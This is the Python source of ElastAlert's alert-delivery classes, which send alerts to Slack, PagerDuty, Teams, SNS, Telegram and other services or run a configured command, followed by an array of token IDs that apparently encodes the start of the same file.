self.new_style_string_format: command = [command_arg.format(match=matches[0]) for command_arg in self.rule['command']] else: command = [command_arg % matches[0] for command_arg in self.rule['command']] self.last_command = command except KeyError as e: raise EAException("Error formatting command: %s" % (e)) # Run command and pipe data try: subp = subprocess.Popen(command, stdin=subprocess.PIPE, shell=self.shell) if self.rule.get('pipe_match_json'): match_json = json.dumps(matches, cls=DateTimeEncoder) + '\n' stdout, stderr = subp.communicate(input=match_json) if self.rule.get("fail_on_non_zero_exit", False) and subp.wait(): raise EAException("Non-zero exit code while running command %s" % (' '.join(command))) except OSError as e: raise EAException("Error while running command %s: %s" % (' '.join(command), e)) def get_info(self): return {'type': 'command', 'command': ' '.join(self.last_command)} class SnsAlerter(Alerter): """ Send alert using AWS SNS service """ required_options = frozenset(['sns_topic_arn']) def __init__(self, *args): super(SnsAlerter, self).__init__(*args) self.sns_topic_arn = self.rule.get('sns_topic_arn', '') self.aws_access_key_id = self.rule.get('aws_access_key_id') self.aws_secret_access_key = self.rule.get('aws_secret_access_key') self.aws_region = self.rule.get('aws_region', 'us-east-1') self.profile = self.rule.get('boto_profile', None) # Deprecated self.profile = self.rule.get('aws_profile', None) def create_default_title(self, matches): subject = 'ElastAlert: %s' % (self.rule['name']) return subject def alert(self, matches): body = self.create_alert_body(matches) session = boto3.Session( aws_access_key_id=self.aws_access_key_id, aws_secret_access_key=self.aws_secret_access_key, region_name=self.aws_region, profile_name=self.profile ) sns_client = session.client('sns') sns_client.publish( TopicArn=self.sns_topic_arn, Message=body, Subject=self.create_title(matches) ) elastalert_logger.info("Sent sns notification to %s" % (self.sns_topic_arn)) class HipChatAlerter(Alerter): """ Creates a HipChat room notification for each alert """ required_options = frozenset(['hipchat_auth_token', 'hipchat_room_id']) def __init__(self, rule): super(HipChatAlerter, self).__init__(rule) self.hipchat_msg_color = self.rule.get('hipchat_msg_color', 'red') self.hipchat_message_format = self.rule.get('hipchat_message_format', 'html') self.hipchat_auth_token = self.rule['hipchat_auth_token'] self.hipchat_room_id = self.rule['hipchat_room_id'] self.hipchat_domain = self.rule.get('hipchat_domain', 'api.hipchat.com') self.hipchat_ignore_ssl_errors = self.rule.get('hipchat_ignore_ssl_errors', False) self.hipchat_notify = self.rule.get('hipchat_notify', True) self.hipchat_from = self.rule.get('hipchat_from', '') self.url = 'https://%s/v2/room/%s/notification?auth_token=%s' % ( self.hipchat_domain, self.hipchat_room_id, self.hipchat_auth_token) self.hipchat_proxy = self.rule.get('hipchat_proxy', None) def alert(self, matches): body = self.create_alert_body(matches) # HipChat sends 400 bad request on messages longer than 10000 characters if (len(body) > 9999): body = body[:9980] + '..(truncated)' # Use appropriate line ending for text/html if self.hipchat_message_format == 'html': body = body.replace('\n', '<br />') # Post to HipChat headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.hipchat_proxy} if self.hipchat_proxy else None payload = { 'color': self.hipchat_msg_color, 'message': body, 'message_format': self.hipchat_message_format, 'notify': self.hipchat_notify, 'from': self.hipchat_from } try: if self.hipchat_ignore_ssl_errors: requests.packages.urllib3.disable_warnings() response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, verify=not self.hipchat_ignore_ssl_errors, proxies=proxies) warnings.resetwarnings() response.raise_for_status() except RequestException as e: raise EAException("Error posting to HipChat: %s" % e) elastalert_logger.info("Alert sent to HipChat room %s" % self.hipchat_room_id) def get_info(self): return {'type': 'hipchat', 'hipchat_room_id': self.hipchat_room_id} class MsTeamsAlerter(Alerter): """ Creates a Microsoft Teams Conversation Message for each alert """ required_options = frozenset(['ms_teams_webhook_url', 'ms_teams_alert_summary']) def __init__(self, rule): super(MsTeamsAlerter, self).__init__(rule) self.ms_teams_webhook_url = self.rule['ms_teams_webhook_url'] if isinstance(self.ms_teams_webhook_url, basestring): self.ms_teams_webhook_url = [self.ms_teams_webhook_url] self.ms_teams_proxy = self.rule.get('ms_teams_proxy', None) self.ms_teams_alert_summary = self.rule.get('ms_teams_alert_summary', 'ElastAlert Message') self.ms_teams_alert_fixed_width = self.rule.get('ms_teams_alert_fixed_width', False) self.ms_teams_theme_color = self.rule.get('ms_teams_theme_color', '') def format_body(self, body): body = body.encode('UTF-8') if self.ms_teams_alert_fixed_width: body = body.replace('`', "'") body = "```{0}```".format('```\n\n```'.join(x for x in body.split('\n'))).replace('\n``````', '') return body def alert(self, matches): body = self.create_alert_body(matches) body = self.format_body(body) # post to Teams headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.ms_teams_proxy} if self.ms_teams_proxy else None payload = { '@type': 'MessageCard', '@context': 'http://schema.org/extensions', 'summary': self.ms_teams_alert_summary, 'title': self.create_title(matches), 'text': body } if self.ms_teams_theme_color != '': payload['themeColor'] = self.ms_teams_theme_color for url in self.ms_teams_webhook_url: try: response = requests.post(url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to ms teams: %s" % e) elastalert_logger.info("Alert sent to MS Teams") def get_info(self): return {'type': 'ms_teams', 'ms_teams_webhook_url': self.ms_teams_webhook_url} class SlackAlerter(Alerter): """ Creates a Slack room message for each alert """ required_options = frozenset(['slack_webhook_url']) def __init__(self, rule): super(SlackAlerter, self).__init__(rule) self.slack_webhook_url = self.rule['slack_webhook_url'] if isinstance(self.slack_webhook_url, basestring): self.slack_webhook_url = [self.slack_webhook_url] self.slack_proxy = self.rule.get('slack_proxy', None) self.slack_username_override = self.rule.get('slack_username_override', 'elastalert') self.slack_channel_override = self.rule.get('slack_channel_override', '') self.slack_emoji_override = self.rule.get('slack_emoji_override', ':ghost:') self.slack_icon_url_override = self.rule.get('slack_icon_url_override', '') self.slack_msg_color = self.rule.get('slack_msg_color', 'danger') self.slack_parse_override = self.rule.get('slack_parse_override', 'none') self.slack_text_string = self.rule.get('slack_text_string', '') def format_body(self, body): # https://api.slack.com/docs/formatting body = body.encode('UTF-8') body = body.replace('&', '&amp;') body = body.replace('<', '&lt;') body = body.replace('>', '&gt;') return body def alert(self, matches): body = self.create_alert_body(matches) body = self.format_body(body) # post to slack headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.slack_proxy} if self.slack_proxy else None payload = { 'username': self.slack_username_override, 'channel': self.slack_channel_override, 'parse': self.slack_parse_override, 'text': self.slack_text_string, 'attachments': [ { 'color': self.slack_msg_color, 'title': self.create_title(matches), 'text': body, 'mrkdwn_in': ['text', 'pretext'], 'fields': [] } ] } if self.slack_icon_url_override != '': payload['icon_url'] = self.slack_icon_url_override else: payload['icon_emoji'] = self.slack_emoji_override for url in self.slack_webhook_url: try: response = requests.post(url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to slack: %s" % e) elastalert_logger.info("Alert sent to Slack") def get_info(self): return {'type': 'slack', 'slack_username_override': self.slack_username_override, 'slack_webhook_url': self.slack_webhook_url} class PagerDutyAlerter(Alerter): """ Create an incident on PagerDuty for each alert """ required_options = frozenset(['pagerduty_service_key', 'pagerduty_client_name']) def __init__(self, rule): super(PagerDutyAlerter, self).__init__(rule) self.pagerduty_service_key = self.rule['pagerduty_service_key'] self.pagerduty_client_name = self.rule['pagerduty_client_name'] self.pagerduty_incident_key = self.rule.get('pagerduty_incident_key', '') self.pagerduty_incident_key_args = self.rule.get('pagerduty_incident_key_args', None) self.pagerduty_proxy = self.rule.get('pagerduty_proxy', None) self.url = 'https://events.pagerduty.com/generic/2010-04-15/create_event.json' def alert(self, matches): body = self.create_alert_body(matches) # post to pagerduty headers = {'content-type': 'application/json'} payload = { 'service_key': self.pagerduty_service_key, 'description': self.create_title(matches), 'event_type': 'trigger', 'incident_key': self.get_incident_key(matches), 'client': self.pagerduty_client_name, 'details': { "information": body.encode('UTF-8'), }, } # set https proxy, if it was provided proxies = {'https': self.pagerduty_proxy} if self.pagerduty_proxy else None try: response = requests.post( self.url, data=json.dumps(payload, cls=DateTimeEncoder, ensure_ascii=False), headers=headers, proxies=proxies ) response.raise_for_status() except RequestException as e: raise EAException("Error posting to pagerduty: %s" % e) elastalert_logger.info("Trigger sent to PagerDuty") def get_incident_key(self, matches): if self.pagerduty_incident_key_args: incident_key_values = [lookup_es_key(matches[0], arg) for arg in self.pagerduty_incident_key_args] # Populate values with rule level properties too for i in range(len(incident_key_values)): if incident_key_values[i] is None: key_value = self.rule.get(self.pagerduty_incident_key_args[i]) if key_value: incident_key_values[i] = key_value incident_key_values = ['<MISSING VALUE>' if val is None else val for val in incident_key_values] return self.pagerduty_incident_key.format(*incident_key_values) else: return self.pagerduty_incident_key def get_info(self): return {'type': 'pagerduty', 'pagerduty_client_name': self.pagerduty_client_name} class ExotelAlerter(Alerter): required_options = frozenset(['exotel_account_sid', 'exotel_auth_token', 'exotel_to_number', 'exotel_from_number']) def __init__(self, rule): super(ExotelAlerter, self).__init__(rule) self.exotel_account_sid = self.rule['exotel_account_sid'] self.exotel_auth_token = self.rule['exotel_auth_token'] self.exotel_to_number = self.rule['exotel_to_number'] self.exotel_from_number = self.rule['exotel_from_number'] self.sms_body = self.rule.get('exotel_message_body', '') def alert(self, matches): client = Exotel(self.exotel_account_sid, self.exotel_auth_token) try: message_body = self.rule['name'] + self.sms_body response = client.sms(self.rule['exotel_from_number'], self.rule['exotel_to_number'], message_body) if response != 200: raise EAException("Error posting to Exotel, response code is %s" % response) except: raise EAException("Error posting to Exotel"), None, sys.exc_info()[2] elastalert_logger.info("Trigger sent to Exotel") def get_info(self): return {'type': 'exotel', 'exotel_account': self.exotel_account_sid} class TwilioAlerter(Alerter): required_options = frozenset(['twilio_account_sid', 'twilio_auth_token', 'twilio_to_number', 'twilio_from_number']) def __init__(self, rule): super(TwilioAlerter, self).__init__(rule) self.twilio_account_sid = self.rule['twilio_account_sid'] self.twilio_auth_token = self.rule['twilio_auth_token'] self.twilio_to_number = self.rule['twilio_to_number'] self.twilio_from_number = self.rule['twilio_from_number'] def alert(self, matches): client = TwilioClient(self.twilio_account_sid, self.twilio_auth_token) try: client.messages.create(body=self.rule['name'], to=self.twilio_to_number, from_=self.twilio_from_number) except TwilioRestException as e: raise EAException("Error posting to twilio: %s" % e) elastalert_logger.info("Trigger sent to Twilio") def get_info(self): return {'type': 'twilio', 'twilio_client_name': self.twilio_from_number} class VictorOpsAlerter(Alerter): """ Creates a VictorOps Incident for each alert """ required_options = frozenset(['victorops_api_key', 'victorops_routing_key', 'victorops_message_type']) def __init__(self, rule): super(VictorOpsAlerter, self).__init__(rule) self.victorops_api_key = self.rule['victorops_api_key'] self.victorops_routing_key = self.rule['victorops_routing_key'] self.victorops_message_type = self.rule['victorops_message_type'] self.victorops_entity_display_name = self.rule.get('victorops_entity_display_name', 'no entity display name') self.url = 'https://alert.victorops.com/integrations/generic/20131114/alert/%s/%s' % ( self.victorops_api_key, self.victorops_routing_key) self.victorops_proxy = self.rule.get('victorops_proxy', None) def alert(self, matches): body = self.create_alert_body(matches) # post to victorops headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.victorops_proxy} if self.victorops_proxy else None payload = { "message_type": self.victorops_message_type, "entity_display_name": self.victorops_entity_display_name, "monitoring_tool": "ElastAlert", "state_message": body } try: response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to VictorOps: %s" % e) elastalert_logger.info("Trigger sent to VictorOps") def get_info(self): return {'type': 'victorops', 'victorops_routing_key': self.victorops_routing_key} class TelegramAlerter(Alerter): """ Send a Telegram message via bot api for each alert """ required_options = frozenset(['telegram_bot_token', 'telegram_room_id']) def __init__(self, rule): super(TelegramAlerter, self).__init__(rule) self.telegram_bot_token = self.rule['telegram_bot_token'] self.telegram_room_id = self.rule['telegram_room_id'] self.telegram_api_url = self.rule.get('telegram_api_url', 'api.telegram.org') self.url = 'https://%s/bot%s/%s' % (self.telegram_api_url, self.telegram_bot_token, "sendMessage") self.telegram_proxy = self.rule.get('telegram_proxy', None) def alert(self, matches): body = u'⚠ *%s* ⚠ ```\n' % (self.create_title(matches)) for match in matches: body += unicode(BasicMatchString(self.rule, match)) # Separate text of aggregated alerts with dashes if len(matches) > 1: body += '\n----------------------------------------\n' body += u' ```' headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.telegram_proxy} if self.telegram_proxy else None payload = { 'chat_id': self.telegram_room_id, 'text': body, 'parse_mode': 'markdown', 'disable_web_page_preview': True } try: response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) warnings.resetwarnings() response.raise_for_status() except RequestException as e: raise EAException("Error posting to Telegram: %s" % e) elastalert_logger.info( "Alert sent to Telegram room %s" % self.telegram_room_id) def get_info(self): return {'type': 'telegram', 'telegram_room_id': self.telegram_room_id} class GitterAlerter(Alerter): """ Creates a Gitter activity message for each alert """ required_options = frozenset(['gitter_webhook_url']) def __init__(self, rule): super(GitterAlerter, self).__init__(rule) self.gitter_webhook_url = self.rule['gitter_webhook_url'] self.gitter_proxy = self.rule.get('gitter_proxy', None) self.gitter_msg_level = self.rule.get('gitter_msg_level', 'error') def alert(self, matches): body = self.create_alert_body(matches) # post to Gitter headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.gitter_proxy} if self.gitter_proxy else None payload = { 'message': body, 'level': self.gitter_msg_level } try: response = requests.post(self.gitter_webhook_url, json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to Gitter: %s" % e) elastalert_logger.info("Alert sent to Gitter") def get_info(self): return {'type': 'gitter', 'gitter_webhook_url': self.gitter_webhook_url} class ServiceNowAlerter(Alerter): """ Creates a ServiceNow alert """ required_options = set([ 'username', 'password', 'servicenow_rest_url', 'short_description', 'comments', 'assignment_group', 'category', 'subcategory', 'cmdb_ci', 'caller_id' ]) def __init__(self, rule): super(ServiceNowAlerter, self).__init__(rule) self.servicenow_rest_url = self.rule['servicenow_rest_url'] self.servicenow_proxy = self.rule.get('servicenow_proxy', None) def alert(self, matches): for match in matches: # Parse everything into description. description = str(BasicMatchString(self.rule, match)) # Set proper headers headers = { "Content-Type": "application/json", "Accept": "application/json;charset=utf-8" } proxies = {'https': self.servicenow_proxy} if self.servicenow_proxy else None payload = { "description": description, "short_description": self.rule['short_description'], "comments": self.rule['comments'], "assignment_group": self.rule['assignment_group'], "category": self.rule['category'], "subcategory": self.rule['subcategory'], "cmdb_ci": self.rule['cmdb_ci'], "caller_id": self.rule["caller_id"] } try: response = requests.post( self.servicenow_rest_url, auth=(self.rule['username'], self.rule['password']), headers=headers, data=json.dumps(payload, cls=DateTimeEncoder), proxies=proxies ) response.raise_for_status() except RequestException as e: raise EAException("Error posting to ServiceNow: %s" % e) elastalert_logger.info("Alert sent to ServiceNow") def get_info(self): return {'type': 'ServiceNow', 'self.servicenow_rest_url': self.servicenow_rest_url} class HTTPPostAlerter(Alerter): """ Requested elasticsearch indices are sent by HTTP POST. Encoded with JSON. """ def __init__(self, rule): super(HTTPPostAlerter, self).__init__(rule) post_url = self.rule.get('http_post_url') if isinstance(post_url, basestring): post_url = [post_url] self.post_url = post_url self.post_proxy = self.rule.get('http_post_proxy') self.post_payload = self.rule.get('http_post_payload', {}) self.post_static_payload = self.rule.get('http_post_static_payload', {}) self.post_all_values = self.rule.get('http_post_all_values', not self.post_payload) def alert(self, matches): """ Each match will trigger a POST to the specified endpoint(s). """ for match in matches: payload = match if self.post_all_values else {} payload.update(self.post_static_payload) for post_key, es_key in self.post_payload.items(): payload[post_key] = lookup_es_key(match, es_key) headers = { "Content-Type": "application/json", "Accept": "application/json;charset=utf-8" } proxies = {'https': self.post_proxy} if self.post_proxy else None for url in self.post_url: try: response = requests.post(url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting HTTP Post alert: %s" % e) elastalert_logger.info("HTTP Post alert sent.") def get_info(self): return {'type': 'http_post', 'http_post_webhook_url': self.post_url}
[ 1, 529, 9507, 29958, 295, 579, 12888, 29914, 12888, 29879, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 5215, 3509, 13, 5215, 12865, 13, 5215, 4390, 13, 5215, 12183, 13, 5215, 1014, 5014, 13, 5215, 10876, 13, 5215, 18116, 13, 3166, 4876, 29889, 29885, 603, 29889, 726, 1053, 341, 8890, 1626, 13, 3166, 4876, 29889, 13239, 1053, 3402, 1256, 13, 3166, 1560, 9392, 1982, 1053, 13766, 3557, 13, 3166, 1560, 9392, 1982, 1053, 13766, 3557, 29918, 18641, 13, 3166, 1560, 9392, 1982, 1053, 13766, 3557, 16746, 2392, 13, 3166, 1560, 9392, 1982, 1053, 13766, 3557, 2451, 13, 3166, 9909, 1053, 1059, 13, 13, 5215, 289, 3747, 29941, 13, 5215, 7274, 13, 5215, 380, 21744, 13, 3166, 429, 327, 295, 1053, 1222, 327, 295, 13, 3166, 432, 3055, 29889, 4645, 1053, 435, 29902, 4717, 13, 3166, 432, 3055, 29889, 11739, 29879, 1053, 435, 29902, 4717, 2392, 13, 3166, 7274, 29889, 11739, 29879, 1053, 10729, 2451, 13, 3166, 2294, 5527, 29889, 12657, 1053, 343, 8807, 29918, 12657, 13, 3166, 1426, 2371, 1053, 3992, 2371, 13, 3166, 3252, 14876, 29889, 3188, 29889, 11739, 29879, 1053, 8168, 14876, 15078, 2451, 13, 3166, 3252, 14876, 29889, 5060, 1053, 12477, 408, 8168, 14876, 4032, 13, 3166, 3667, 1053, 382, 29909, 2451, 13, 3166, 3667, 1053, 560, 579, 12888, 29918, 21707, 13, 3166, 3667, 1053, 16280, 29918, 267, 29918, 1989, 13, 3166, 3667, 1053, 5051, 29918, 1372, 13, 3166, 3667, 1053, 18696, 29918, 3707, 13, 3166, 3667, 1053, 18696, 29918, 517, 29918, 6008, 13, 13, 13, 1990, 12315, 8566, 6119, 29898, 3126, 29889, 7249, 8566, 6119, 1125, 13, 1678, 822, 2322, 29898, 1311, 29892, 5446, 1125, 13, 4706, 565, 756, 5552, 29898, 5415, 29892, 525, 10718, 4830, 29374, 13, 9651, 736, 5446, 29889, 10718, 4830, 580, 13, 4706, 1683, 29901, 13, 9651, 736, 4390, 29889, 7249, 8566, 6119, 29889, 4381, 29898, 1311, 29892, 5446, 29897, 13, 13, 13, 1990, 19219, 9652, 1231, 29898, 3318, 1125, 13, 1678, 9995, 6760, 1078, 263, 1347, 6943, 4235, 297, 1993, 363, 278, 2183, 5751, 29889, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 5751, 29892, 1993, 1125, 13, 4706, 1583, 29889, 7491, 353, 5751, 13, 4706, 1583, 29889, 4352, 353, 1993, 13, 13, 1678, 822, 903, 7469, 29918, 1482, 29918, 1220, 29898, 1311, 1125, 13, 4706, 1550, 1583, 29889, 726, 14352, 29906, 17531, 2804, 11297, 29876, 29905, 29876, 2396, 13, 9651, 1583, 29889, 726, 4619, 11297, 29876, 29915, 13, 13, 1678, 822, 903, 1202, 29918, 6341, 29918, 12888, 29918, 726, 29898, 1311, 1125, 13, 4706, 4567, 353, 12801, 10403, 1799, 4214, 12599, 4462, 16299, 13, 4706, 6655, 29918, 726, 353, 29104, 29898, 1311, 29889, 7491, 29889, 657, 877, 12888, 29918, 726, 742, 6629, 876, 13, 4706, 565, 525, 12888, 29918, 726, 29918, 5085, 29915, 297, 1583, 29889, 7491, 29901, 13, 9651, 6655, 29918, 726, 29918, 5085, 353, 1583, 29889, 7491, 29889, 657, 877, 12888, 29918, 726, 29918, 5085, 1495, 13, 9651, 6655, 29918, 726, 29918, 5975, 353, 518, 20401, 29918, 267, 29918, 1989, 29898, 1311, 29889, 4352, 29892, 1852, 29897, 363, 1852, 297, 6655, 29918, 726, 29918, 5085, 29962, 13, 13, 9651, 396, 18601, 29371, 916, 2246, 29899, 5563, 5751, 4426, 13, 9651, 396, 910, 5722, 1711, 1122, 451, 664, 565, 727, 338, 263, 2246, 29899, 5563, 5751, 2875, 411, 278, 1021, 1024, 13, 9651, 396, 408, 385, 831, 1121, 1820, 29892, 1951, 372, 723, 505, 1063, 19228, 297, 278, 16280, 29918, 267, 29918, 1989, 1246, 2038, 13, 9651, 363, 474, 297, 921, 3881, 29898, 2435, 29898, 12888, 29918, 726, 29918, 5975, 22164, 13, 18884, 565, 6655, 29918, 726, 29918, 5975, 29961, 29875, 29962, 338, 6213, 29901, 13, 462, 1678, 6655, 29918, 1767, 353, 1583, 29889, 7491, 29889, 657, 29898, 12888, 29918, 726, 29918, 5085, 29961, 29875, 2314, 13, 462, 1678, 565, 6655, 29918, 1767, 29901, 13, 462, 4706, 6655, 29918, 726, 29918, 5975, 29961, 29875, 29962, 353, 6655, 29918, 1767, 13, 13, 9651, 6655, 29918, 726, 29918, 5975, 353, 518, 27259, 565, 659, 338, 6213, 1683, 659, 363, 659, 297, 6655, 29918, 726, 29918, 5975, 29962, 13, 9651, 6655, 29918, 726, 353, 6655, 29918, 726, 29889, 4830, 10456, 12888, 29918, 726, 29918, 5975, 29897, 13, 4706, 25342, 525, 12888, 29918, 726, 29918, 11022, 29915, 297, 1583, 29889, 7491, 29901, 13, 9651, 9049, 353, 6571, 13, 9651, 363, 1024, 29892, 9049, 29918, 978, 297, 1583, 29889, 7491, 29889, 657, 877, 12888, 29918, 726, 29918, 11022, 2824, 7076, 7295, 13, 18884, 659, 353, 16280, 29918, 267, 29918, 1989, 29898, 1311, 29889, 4352, 29892, 1024, 29897, 13, 13, 18884, 396, 18601, 29371, 916, 2246, 29899, 5563, 5751, 4426, 13, 18884, 396, 910, 5722, 1711, 1122, 451, 664, 565, 727, 338, 263, 2246, 29899, 5563, 5751, 2875, 411, 278, 1021, 1024, 13, 18884, 396, 408, 385, 831, 1121, 1820, 29892, 1951, 372, 723, 505, 1063, 19228, 297, 278, 16280, 29918, 267, 29918, 1989, 1246, 2038, 13, 18884, 565, 659, 338, 6213, 29901, 13, 462, 1678, 659, 353, 1583, 29889, 7491, 29889, 657, 29898, 978, 29897, 13, 13, 18884, 9049, 29961, 11022, 29918, 978, 29962, 353, 4567, 565, 659, 338, 6213, 1683, 659, 13, 9651, 6655, 29918, 726, 353, 6655, 29918, 726, 29889, 4830, 29898, 1068, 11022, 29897, 13, 13, 4706, 1583, 29889, 726, 4619, 6655, 29918, 726, 13, 13, 1678, 822, 903, 1202, 29918, 7491, 29918, 726, 29898, 1311, 1125, 13, 4706, 1583, 29889, 726, 4619, 1583, 29889, 7491, 1839, 1853, 13359, 657, 29918, 4352, 29918, 710, 29898, 1311, 29889, 4352, 29897, 13, 13, 1678, 822, 903, 1202, 29918, 3332, 29918, 2798, 29879, 29898, 1311, 1125, 13, 4706, 363, 1820, 29892, 18139, 297, 1583, 29889, 4352, 29889, 7076, 7295, 13, 9651, 565, 1820, 29889, 27382, 2541, 877, 3332, 29918, 13604, 29918, 29374, 13, 18884, 1583, 29889, 726, 4619, 14210, 29879, 3583, 29876, 29915, 1273, 313, 1989, 29961, 29896, 29896, 29901, 2314, 13, 18884, 2246, 29918, 13604, 353, 18139, 29889, 7076, 580, 13, 13, 18884, 565, 451, 2246, 29918, 13604, 29901, 13, 462, 1678, 1583, 29889, 726, 4619, 525, 3782, 4959, 1476, 7790, 29876, 29915, 13, 18884, 1683, 29901, 13, 462, 1678, 2246, 29918, 13604, 29889, 6605, 29898, 1989, 29922, 2892, 921, 29901, 921, 29961, 29896, 1402, 11837, 29922, 5574, 29897, 13, 462, 1678, 363, 1840, 29892, 2302, 297, 2246, 29918, 13604, 29901, 13, 462, 4706, 1583, 29889, 726, 4619, 14210, 29879, 29901, 1273, 29879, 29905, 29876, 29915, 1273, 313, 8489, 29892, 2302, 29897, 13, 13, 18884, 1583, 29889, 726, 4619, 11297, 29876, 29915, 13, 13, 1678, 822, 903, 1202, 29918, 4352, 29918, 7076, 29898, 1311, 1125, 13, 4706, 1993, 29918, 7076, 353, 1583, 29889, 4352, 29889, 7076, 580, 13, 4706, 1993, 29918, 7076, 29889, 6605, 29898, 1989, 29922, 2892, 921, 29901, 921, 29961, 29900, 2314, 13, 4706, 363, 1820, 29892, 995, 297, 1993, 29918, 7076, 29901, 13, 9651, 565, 1820, 29889, 27382, 2541, 877, 3332, 29918, 13604, 29918, 29374, 13, 18884, 6773, 13, 9651, 995, 29918, 710, 353, 29104, 29898, 1767, 29897, 13, 9651, 995, 29918, 710, 29889, 6506, 877, 1966, 29876, 742, 11297, 29876, 1495, 13, 9651, 565, 1134, 29898, 1767, 29897, 297, 518, 1761, 29892, 9657, 5387, 13, 18884, 1018, 29901, 13, 462, 1678, 995, 29918, 710, 353, 1583, 3032, 1457, 4349, 29918, 2158, 29918, 294, 29918, 3126, 29898, 1767, 29897, 13, 18884, 5174, 20948, 29901, 13, 462, 1678, 396, 10050, 7797, 13902, 1203, 29892, 6416, 1627, 304, 851, 13, 462, 1678, 1209, 13, 9651, 1583, 29889, 726, 4619, 14210, 29879, 29901, 1273, 29879, 29905, 29876, 29915, 1273, 313, 1989, 29892, 995, 29918, 710, 29897, 13, 13, 1678, 822, 903, 1457, 4349, 29918, 2158, 29918, 294, 29918, 3126, 29898, 1311, 29892, 23755, 1125, 13, 4706, 1018, 29901, 13, 9651, 736, 4390, 29889, 29881, 17204, 29898, 10054, 29892, 1067, 29879, 29922, 11384, 8566, 6119, 29892, 2656, 29918, 8149, 29922, 5574, 29892, 29536, 29922, 29946, 29892, 9801, 29918, 294, 18869, 29922, 8824, 29897, 13, 4706, 5174, 23862, 2772, 401, 2392, 29901, 13, 9651, 396, 910, 23755, 3743, 1661, 29899, 2523, 356, 29892, 577, 16869, 14794, 355, 372, 29915, 29879, 13548, 29899, 29896, 304, 1510, 1554, 13, 9651, 736, 4390, 29889, 29881, 17204, 29898, 10054, 29892, 1067, 29879, 29922, 11384, 8566, 6119, 29892, 2656, 29918, 8149, 29922, 5574, 29892, 29536, 29922, 29946, 29892, 8025, 2433, 13992, 262, 29899, 29896, 742, 9801, 29918, 294, 18869, 29922, 8824, 29897, 13, 13, 1678, 822, 4770, 710, 12035, 1311, 1125, 13, 4706, 1583, 29889, 726, 353, 6629, 13, 4706, 565, 525, 12888, 29918, 726, 29915, 451, 297, 1583, 29889, 7491, 29901, 13, 9651, 1583, 29889, 726, 4619, 1583, 29889, 7491, 1839, 978, 2033, 718, 11297, 29876, 29905, 29876, 29915, 13, 13, 4706, 1583, 3032, 1202, 29918, 6341, 29918, 12888, 29918, 726, 580, 13, 4706, 1583, 3032, 7469, 29918, 1482, 29918, 1220, 580, 13, 4706, 565, 1583, 29889, 7491, 29889, 657, 877, 12888, 29918, 726, 29918, 1853, 1495, 2804, 525, 12888, 29918, 726, 29918, 6194, 2396, 13, 9651, 1583, 3032, 1202, 29918, 7491, 29918, 726, 580, 13, 9651, 1583, 3032, 7469, 29918, 1482, 29918, 1220, 580, 13, 9651, 565, 1583, 29889, 7491, 29889, 657, 877, 3332, 29918, 2798, 29918, 8149, 29374, 13, 18884, 1583, 3032, 1202, 29918, 3332, 29918, 2798, 29879, 580, 13, 9651, 565, 1583, 29889, 7491, 29889, 657, 877, 12888, 29918, 726, 29918, 1853, 1495, 2804, 525, 735, 2325, 29918, 9621, 2396, 13, 18884, 1583, 3032, 1202, 29918, 4352, 29918, 7076, 580, 13, 4706, 736, 1583, 29889, 726, 13, 13, 13, 1990, 435, 3055, 2500, 19667, 9652, 1231, 29898, 16616, 9652, 1231, 1125, 13, 1678, 822, 903, 1202, 29918, 4352, 29918, 7076, 29898, 1311, 1125, 13, 4706, 1993, 29918, 7076, 353, 9657, 4197, 29898, 29916, 29892, 343, 29897, 363, 921, 29892, 343, 297, 1583, 29889, 4352, 29889, 7076, 580, 565, 451, 921, 29889, 27382, 2541, 877, 3332, 29918, 13604, 29918, 1495, 2314, 13, 4706, 4390, 29918, 10054, 353, 1583, 3032, 1457, 4349, 29918, 2158, 29918, 294, 29918, 3126, 29898, 4352, 29918, 7076, 29897, 13, 4706, 758, 689, 19667, 29918, 726, 353, 318, 29915, 6224, 401, 29901, 3126, 7585, 29900, 1157, 29912, 401, 930, 4286, 4830, 29898, 3126, 29918, 10054, 29897, 13, 4706, 1583, 29889, 726, 4619, 758, 689, 19667, 29918, 726, 13, 13, 13, 1990, 838, 261, 357, 29898, 3318, 1125, 13, 1678, 9995, 7399, 770, 363, 4072, 310, 6655, 29879, 29889, 13, 13, 1678, 584, 3207, 5751, 29901, 450, 5751, 5285, 29889, 13, 1678, 9995, 13, 1678, 3734, 29918, 6768, 353, 14671, 29920, 575, 300, 4197, 2314, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 5751, 1125, 13, 4706, 1583, 29889, 7491, 353, 5751, 13, 4706, 396, 16439, 1203, 338, 2825, 491, 1260, 579, 29909, 1358, 357, 29889, 6717, 29918, 12888, 580, 13, 4706, 396, 322, 10959, 304, 1269, 394, 261, 2153, 1304, 491, 263, 5751, 1434, 5432, 6655, 580, 13, 4706, 1583, 29889, 13096, 5570, 353, 6213, 13, 4706, 1583, 29889, 17863, 29918, 7491, 29918, 276, 10662, 29898, 1311, 29889, 7491, 29897, 13, 13, 1678, 822, 8814, 29918, 7491, 29918, 276, 10662, 29898, 1311, 29892, 3876, 1125, 13, 4706, 396, 18601, 29371, 916, 2246, 29899, 5563, 5751, 4426, 304, 4772, 28005, 3509, 29914, 16179, 13, 4706, 565, 1134, 29898, 4632, 29897, 1275, 1051, 29901, 13, 